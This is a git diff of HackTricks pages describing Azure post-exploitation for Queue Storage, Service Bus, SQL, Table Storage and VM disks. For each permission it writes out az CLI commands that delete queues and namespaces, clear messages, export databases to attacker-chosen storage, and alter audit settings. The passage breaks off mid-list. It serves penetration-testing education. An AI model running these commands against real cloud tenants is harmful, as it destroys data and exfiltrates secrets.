-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md
similarity index 59%
rename from pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md
rename to src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md
index 15a9a939d..f96e47597 100644
--- a/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md
@@ -1,37 +1,22 @@
 # Az - Queue Storage Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Queue
 
 For more information check:
 
-{% content-ref url="../az-services/az-queue-enum.md" %}
-[az-queue-enum.md](../az-services/az-queue-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-queue-enum.md
+{{#endref}}
 
 ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
 
 An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
 
-{% code overflow="wrap" %}
 ```bash
 az storage message peek --queue-name <queue_name> --account-name <storage_account>
 ```
-{% endcode %}
 
 **Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
 
@@ -39,27 +24,22 @@ az storage message peek --queue-name <queue_name> --account-name <storage_accoun
 
 With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
 
-{% code overflow="wrap" %}
 ```bash
 az storage message get --queue-name <queue_name> --account-name <storage_account>
 ```
-{% endcode %}
 
 ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
 
 With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
 
-{% code overflow="wrap" %}
 ```bash
 az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
 ```
-{% endcode %}
 
 ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
 
 This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
 
-{% code overflow="wrap" %}
 ```bash
 az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
 
@@ -71,33 +51,27 @@ az storage message update --queue-name <queue-name> \
     --visibility-timeout <timeout-in-seconds> \
     --account-name <storage-account>
 ```
-{% endcode %}
 
 ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete`
 
 This permission allows an attacker to delete queues within the storage account. By leveraging this capability, an attacker can permanently remove queues and all their associated messages, causing significant disruption to workflows and resulting in critical data loss for applications that rely on the affected queues. This action can also be used to sabotage services by removing essential components of the system.
 
-{% code overflow="wrap" %}
 ```bash
 az storage queue delete --name <queue-name> --account-name <storage-account>
 ```
-{% endcode %}
 
 ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete`
 
 With this permission, an attacker can clear all messages from an Azure Storage Queue. This action removes all messages, disrupting workflows and causing data loss for systems dependent on the queue.
 
-{% code overflow="wrap" %}
 ```bash
 az storage message clear --queue-name <queue-name> --account-name <storage-account>
 ```
-{% endcode %}
 
 ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
 
 This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
 
-{% code overflow="wrap" %}
 ```bash
 az storage queue create --name <new-queue-name> --account-name <storage-account>
 
@@ -105,25 +79,11 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
 
 az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
 ```
-{% endcode %}
 
 ## References
 
-* https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
-* https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
-* https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
+- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
+- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
+- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md
similarity index 68%
rename from pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md
rename to src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md
index f0f7613da..a82d54e24 100644
--- a/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md
@@ -1,140 +1,99 @@
 # Az - Service Bus Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Service Bus
 
 For more information check:
 
-{% content-ref url="../az-services/az-servicebus-enum.md" %}
-[az-servicebus-enum.md](../az-services/az-servicebus-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-servicebus-enum.md
+{{#endref}}
 
 ### Actions: `Microsoft.ServiceBus/namespaces/Delete`
 
 An attacker with this permission can delete an entire Azure Service Bus namespace. This action removes the namespace and all associated resources, including queues, topics, subscriptions, and their messages, causing widespread disruption and permanent data loss across all dependent systems and workflows.
 
-{% code overflow="wrap" %}
 ```bash
 az servicebus namespace delete --resource-group <ResourceGroupName> --name <NamespaceName>
 ```
-{% endcode %}
 
 ### Actions: `Microsoft.ServiceBus/namespaces/topics/Delete`
 
 An attacker with this permission can delete an Azure Service Bus topic. This action removes the topic and all its associated subscriptions and messages, potentially causing loss of critical data and disrupting systems and workflows relying on the topic.
 
-{% code overflow="wrap" %}
 ```bash
 az servicebus topic delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
 ```
-{% endcode %}
 
 ### Actions: `Microsoft.ServiceBus/namespaces/queues/Delete`
 
 An attacker with this permission can delete an Azure Service Bus queue. This action removes the queue and all the messages within it, potentially causing loss of critical data and disrupting systems and workflows dependent on the queue.
 
-{% code overflow="wrap" %}
 ```bash
 az servicebus queue delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
 ```
-{% endcode %}
 
 ### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete`
 
 An attacker with this permission can delete an Azure Service Bus subscription. This action removes the subscription and all its associated messages, potentially disrupting workflows, data processing, and system operations relying on the subscription.
 
-{% code overflow="wrap" %}
 ```bash
 az servicebus topic subscription delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
 ```
-{% endcode %}
 
 ### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read`
 
 An attacker with permissions to create or modify Azure Service Bus namespaces can exploit this to disrupt operations, deploy unauthorized resources, or expose sensitive data. They can alter critical configurations such as enabling public network access, downgrading encryption settings, or changing SKUs to degrade performance or increase costs. Additionally, they could disable local authentication, manipulate replica locations, or adjust TLS versions to weaken security controls, making namespace misconfiguration a significant post-exploitation risk.
 
-{% code overflow="wrap" %}
 ```bash
-az servicebus namespace create --resource-group <ResourceGroupName> --name <NamespaceName> --location <Location> 
+az servicebus namespace create --resource-group <ResourceGroupName> --name <NamespaceName> --location <Location>
 az servicebus namespace update --resource-group <ResourceGroupName> --name <NamespaceName> --tags <Key=Value>
 ```
-{% endcode %}
-
 
 ### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`)
 
 An attacker with permissions to create or modify Azure Service Bus queues (to modiffy the queue you will also need the Action:`Microsoft.ServiceBus/namespaces/queues/read`) can exploit this to intercept data, disrupt workflows, or enable unauthorized access. They can alter critical configurations such as forwarding messages to malicious endpoints, adjusting message TTL to retain or delete data improperly, or enabling dead-lettering to interfere with error handling. Additionally, they could manipulate queue sizes, lock durations, or statuses to disrupt service functionality or evade detection, making this a significant post-exploitation risk.
 
-{% code overflow="wrap" %}
 ```bash
-az servicebus queue create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName> 
+az servicebus queue create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
 az servicebus queue update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
 ```
-{% endcode %}
 
 ### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`)
 
 An attacker with permissions to create or modify topics (to modiffy the topic you will also need the Action:`Microsoft.ServiceBus/namespaces/topics/read`) within an Azure Service Bus namespace can exploit this to disrupt message workflows, expose sensitive data, or enable unauthorized actions. Using commands like az servicebus topic update, they can manipulate configurations such as enabling partitioning for scalability misuse, altering TTL settings to retain or discard messages improperly, or disabling duplicate detection to bypass controls. Additionally, they could adjust topic size limits, change status to disrupt availability, or configure express topics to temporarily store intercepted messages, making topic management a critical focus for post-exploitation mitigation.
 
-{% code overflow="wrap" %}
 ```bash
 az servicebus topic create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
 az servicebus topic update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
 ```
-{% endcode %}
 
 ### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`)
 
 An attacker with permissions to create or modify subscriptions (to modiffy the subscription you will also need the Action: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) within an Azure Service Bus topic can exploit this to intercept, reroute, or disrupt message workflows. Using commands like az servicebus topic subscription update, they can manipulate configurations such as enabling dead lettering to divert messages, forwarding messages to unauthorized endpoints, or modifying TTL and lock duration to retain or interfere with message delivery. Additionally, they can alter status or max delivery count settings to disrupt operations or evade detection, making subscription control a critical aspect of post-exploitation scenarios.
 
-
-{% code overflow="wrap" %}
 ```bash
 az servicebus topic subscription create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
 az servicebus topic subscription update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
 ```
-{% endcode %}
-
 
 ### Actions: `AuthorizationRules` Send & Recive Messages
 
 Take a look here:
 
-{% content-ref url="../az-services/az-queue-privesc.md" %}
-[az-queue-privesc.md](../az-services/az-queue-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-queue-privesc.md
+{{#endref}}
 
 ## References
 
-* https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
-* https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
-* https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
-* https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless
-* https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
-* https://learn.microsoft.com/en-us/cli/azure/servicebus/namespace?view=azure-cli-latest
-* https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest
+- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
+- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
+- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
+- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless
+- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
+- https://learn.microsoft.com/en-us/cli/azure/servicebus/namespace?view=azure-cli-latest
+- https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest
 
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
similarity index 62%
rename from pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
rename to src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
index 33de6ffd5..905e50bb1 100644
--- a/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
@@ -1,32 +1,19 @@
 # Az - SQL Database Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## SQL Database Post Exploitation
+
 For more information about SQL Database check:
 
-{% content-ref url="../az-services/az-sql-database.md" %}
-[az-sql-database.md](../az-services/az-sql-database.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-sql.md
+{{#endref}}
 
 ### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
 
 With these permissions, an attacker can create and update databases within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
 
-{% code overflow="wrap" %}
 ```bash
 # Create Database
 az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
@@ -34,13 +21,11 @@ az sql db create --resource-group <resource-group> --server <server-name> --name
 # Update Database
 az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
 ```
-{% endcode %}
 
 ### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
 
 With these permissions, an attacker can create and update elasticPools within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
 
-{% code overflow="wrap" %}
 ```bash
 # Create Elastic Pool
 az sql elastic-pool create \
@@ -58,13 +43,11 @@ az sql elastic-pool update \
     --dtu <new-dtu-value> \
     --tags <key=value>
 ```
-{% endcode %}
 
 ### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
 
 With this permission, you can modify or enable auditing settings on an Azure SQL Server. This could allow an attacker or authorized user to manipulate audit configurations, potentially covering tracks or redirecting audit logs to a location under their control. This can hinder security monitoring or enable it to keep track of the actions. NOTE: To enable auditing for an Azure SQL Server using Blob Storage, you must attach a storage account where the audit logs can be saved.
 
-{% code overflow="wrap" %}
 ```bash
 az sql server audit-policy update \
   --server <server_name> \
@@ -73,26 +56,22 @@ az sql server audit-policy update \
   --storage-account <storage_account_name> \
   --retention-days 7
 ```
-{% endcode %}
 
 ### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
 
 With this permission, you can modify the connection policies of an Azure SQL Server. This capability can be exploited to enable or change server-level connection settings
 
-{% code overflow="wrap" %}
 ```bash
 az sql server connection-policy update \
   --server <server_name> \
   --resource-group <resource_group_name> \
   --connection-type <Proxy|Redirect|Default>
 ```
-{% endcode %}
 
 ### "Microsoft.Sql/servers/databases/export/action"
 
 With this permission, you can export a database from an Azure SQL Server to a storage account. An attacker or authorized user with this permission can exfiltrate sensitive data from the database by exporting it to a location they control, posing a significant data breach risk. It is important to know the storage key to be able to perform this.
 
-{% code overflow="wrap" %}
 ```bash
 az sql db export \
   --server <server_name> \
@@ -104,13 +83,11 @@ az sql db export \
   --admin-password <admin_password>
 
 ```
-{% endcode %}
 
 ### "Microsoft.Sql/servers/databases/import/action"
 
 With this permission, you can import a database into an Azure SQL Server. An attacker or authorized user with this permission can potentially upload malicious or manipulated databases. This can lead to gaining control over sensitive data or by embedding harmful scripts or triggers within the imported database. Additionaly you can import it to your own server in azure. Note: The server must allow Azure services and resources to access the server.
 
-{% code overflow="wrap" %}
 ```bash
 az sql db import --admin-user <admin-user> \
 --admin-password <admin-password> \
@@ -121,20 +98,5 @@ az sql db import --admin-user <admin-user> \
 --storage-key <storage-account-key> \
 --storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
 ```
-{% endcode %}
 
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md
new file mode 100644
index 000000000..cdc688716
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md
@@ -0,0 +1,64 @@
+# Az - Table Storage Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Table Storage Post Exploitation
+
+For more information about table storage check:
+
+{{#ref}}
+../az-services/az-table-storage.md
+{{#endref}}
+
+### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read
+
+A principal with this permission will be able to **list** the tables inside a table storage and **read the info** which might contain **sensitive information**.
+
+```bash
+# List tables
+az storage table list --auth-mode login --account-name <name>
+
+# Read table (top 10)
+az storage entity query \
+    --account-name <name> \
+    --table-name <t-name> \
+    --auth-mode login \
+    --top 10
+```
+
+### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action
+
+A principal with this permission will be able to **write and overwrite entries in tables** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some trusted data that could abuse some injection vulnerability in the app using it).
+
+- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` allows all the actions.
+- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` allows to **add** entries
+- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` allows to **update** existing entries
+
+```bash
+# Add
+az storage entity insert \
+  --account-name <acc-name> \
+  --table-name <t-name> \
+  --auth-mode login \
+  --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
+
+# Replace
+az storage entity replace \
+  --account-name <acc-name> \
+  --table-name <t-name> \
+  --auth-mode login \
+  --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
+
+# Update
+az storage entity merge \
+  --account-name <acc-name> \
+  --table-name <t-name> \
+  --auth-mode login \
+  --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
+```
+
+### \*/delete
+
+This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md
similarity index 61%
rename from pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md
rename to src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md
index 08e4f5319..555db9897 100644
--- a/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md
@@ -1,27 +1,14 @@
 # Az - VMs & Network Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## VMs & Network
 
 For more info about Azure VMs and networking check the following page:
 
-{% content-ref url="../az-services/vms/" %}
-[vms](../az-services/vms/)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/vms/
+{{#endref}}
 
 ### VM Application Pivoting
 
@@ -84,14 +71,12 @@ az restore-point list \
 
 2. **Create a disk** from a restore point
 
-{% code overflow="wrap" %}
 ```bash
 az disk create \
   --resource-group <RESOURCE_GROUP> \
   --name <NEW_DISK_NAME> \
   --source /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/restorePointCollections/<COLLECTION_NAME>/restorePoints/<RESTORE_POINT_NAME>
 ```
-{% endcode %}
 
 3. **Attach the disk to a VM** (the attacker needs to have compromised a VM inside the account already)
 
@@ -104,8 +89,9 @@ az vm disk attach \
 
 4. **Mount** the disk and **search for sensitive info**
 
-{% tabs %}
-{% tab title="Linux" %}
+{{#tabs }}
+{{#tab name="Linux" }}
+
 ```bash
 # List all available disks
 sudo fdisk -l
@@ -117,9 +103,11 @@ sudo file -s /dev/sdX
 sudo mkdir /mnt/mydisk
 sudo mount /dev/sdX1 /mnt/mydisk
 ```
-{% endtab %}
 
-{% tab title="Windows" %}
+{{#endtab }}
+
+{{#tab name="Windows" }}
+
 #### **1. Open Disk Management**
 
 1. Right-click **Start** and select **Disk Management**.
@@ -134,16 +122,16 @@ sudo mount /dev/sdX1 /mnt/mydisk
 
 1. If the disk is not initialized, right-click and select **Initialize Disk**.
 2. Choose the partition style:
-   * **MBR** (Master Boot Record) or **GPT** (GUID Partition Table). GPT is recommended for modern systems.
+   - **MBR** (Master Boot Record) or **GPT** (GUID Partition Table). GPT is recommended for modern systems.
 
 #### **4. Create a New Volume**
 
 1. Right-click the unallocated space on the disk and select **New Simple Volume**.
 2. Follow the wizard to:
-   * Assign a drive letter (e.g., `D:`).
